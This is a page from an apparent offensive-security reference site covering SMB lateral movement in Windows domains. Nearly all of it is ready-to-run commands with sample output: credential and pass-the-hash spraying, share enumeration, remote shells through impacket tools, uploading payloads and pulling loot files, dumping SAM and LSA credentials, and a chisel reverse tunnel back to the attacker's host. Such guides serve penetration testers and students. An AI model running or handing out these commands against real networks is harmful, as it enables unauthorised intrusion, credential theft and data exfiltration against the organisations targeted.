Skip to content
HackIndex logo

HackIndex

SMB Lateral Movement

5 min read May 6, 2026

After gaining credentials or NT hashes on a compromised host, SMB is the primary protocol for testing access to other machines in the network. Port 445 is almost universally open on Windows hosts, and NTLM authentication means you never need to crack a hash to reuse it.

Identify Reachable SMB Hosts

Before spraying credentials, discover which hosts are accessible over port 445 from your current position:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 
SMB   10.10.10.10  445  DC01    [*] Windows Server 2019 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB   10.10.10.20  445  WEB01   [*] Windows 10.0 Build 19041 (name:WEB01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB   10.10.10.30  445  FILE01  [*] Windows Server 2016 (name:FILE01) (domain:corp.local) (signing:False) (SMBv1:False)

Note the signing:True/False output — hosts without SMB signing are also relay candidates.

From a Windows foothold without Kali tools:

PS C:\Users\Guest\Desktop> 1..254 | ForEach-Object { $ip = "10.10.10.$_"; if (Test-NetConnection -ComputerName $ip -Port 445 -InformationLevel Quiet -WarningAction SilentlyContinue) { $ip } }

Spray Credentials Across Hosts

Test which hosts accept your current credentials. This works with plaintext passwords or NT hashes.

Password spray:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -d $DOMAIN

Hash spray (Pass-the-Hash):

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -d $DOMAIN

Local account spray — try the same local Administrator hash across all hosts. Common when LAPS is not deployed:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET -u Administrator -H $NTHASH --local-auth 
SMB   10.10.10.20  445  WEB01   [+] corp.local\jsmith:Password123 (Pwn3d!)
SMB   10.10.10.30  445  FILE01  [+] corp.local\jsmith:Password123
SMB   10.10.10.40  445  DEV01   [+] corp.local\jsmith:Password123 (Pwn3d!)

(Pwn3d!) in the output marks every host where the account has local admin access. Those are execution targets.

Hosts without (Pwn3d!) have valid credentials but no admin access — still useful for share enumeration and file access.

Check Share Access on Reachable Hosts

Once you know which hosts accept your credentials, map share access across the network:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN --shares
┌──(kali㉿kali)-[~]
└─$ # Spider shares for sensitive files
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN -M spider_plus

smbmap gives a cleaner view of share permissions across multiple hosts:

┌──(kali㉿kali)-[~]
└─$ smbmap -H $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
┌──(kali㉿kali)-[~]
└─$ smbmap -H $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN 
[+] IP: 10.10.10.30:445  Name: FILE01.corp.local
    Disk                   Permissions     Comment
    ----                   -----------     -------
    ADMIN$                 NO ACCESS       Remote Admin
    C$                     READ, WRITE     Default share
    Backups                READ ONLY
    IT                     READ, WRITE

READ, WRITE on non-default shares or on C$ = drop payloads, read sensitive files, or stage data.

Execute Commands on Reachable Hosts

Once you have confirmed admin access on a target, execute commands remotely. All Impacket tools run from a Linux attacker machine.

Single command without opening a shell:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN -x "whoami /all"

Interactive shell — wmiexec (quietest, no service created):

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Interactive shell — smbexec (no binary on disk, creates temporary service):

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Interactive shell — psexec (SYSTEM shell, noisiest — creates service and writes binary):

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Prefer wmiexec as the default. Drop to psexec if you need SYSTEM or if wmiexec fails. See SMB Remote Code Execution for detailed comparison.

File Operations Over SMB

Direct file access is useful for dropping payloads on a target without opening a shell, or for reading sensitive data.

Interactive SMB shell from Linux:

┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH 
# In the smbclient shell:
shares
use C$
ls Users\Administrator\Desktop\
get Users\Administrator\Desktop\flag.txt
put /tmp/payload.exe Windows\Temp\payload.exe

Non-interactive single command:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/C$ -U $DOMAIN/$USER%$PASSWORD -c "get Windows\Temp\loot.txt /tmp/loot.txt"
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/C$ -U $DOMAIN/$USER%$PASSWORD -c "put /tmp/payload.exe Windows\Temp\payload.exe"

From a Windows foothold — mount the remote share and operate on it:

┌──(kali㉿kali)-[~]
└─$ net use Z: \\$TARGET_IP\C$ /user:$DOMAIN\$USER $PASSWORD
┌──(kali㉿kali)-[~]
└─$ dir Z:\Users\Administrator\
copy Z:\Users\Administrator\Desktop\flag.txt C:\Windows\Temp\
copy C:\Windows\Temp\payload.exe Z:\Windows\Temp\
net use Z: /delete

Dump Credentials from Newly Compromised Hosts

After gaining access to a new host, dump credentials immediately for the next hop:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --sam
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --lsa
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Local SAM hashes give you the local admin credentials — spray them with --local-auth for the next hop. LSA secrets often contain service account or cached domain credentials in plaintext.

Pivot Over SMB

If the new host has access to a network segment unreachable from your attacker box, set up a SOCKS proxy through your SMB shell:

┌──(kali㉿kali)-[~]
└─$ # Serve chisel from attacker
┌──(kali㉿kali)-[~]
└─$ ./chisel server --reverse --port 8001
PS C:\Users\Guest\Desktop> # On compromised host (via SMB shell)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\chisel.exe client $LHOST:8001 R:socks

Then route further attacks through the tunnel using proxychains:

┌──(kali㉿kali)-[~]
└─$ proxychains nxc smb $NEW_TARGET_SUBNET -u $USER -H $NTHASH --local-auth

References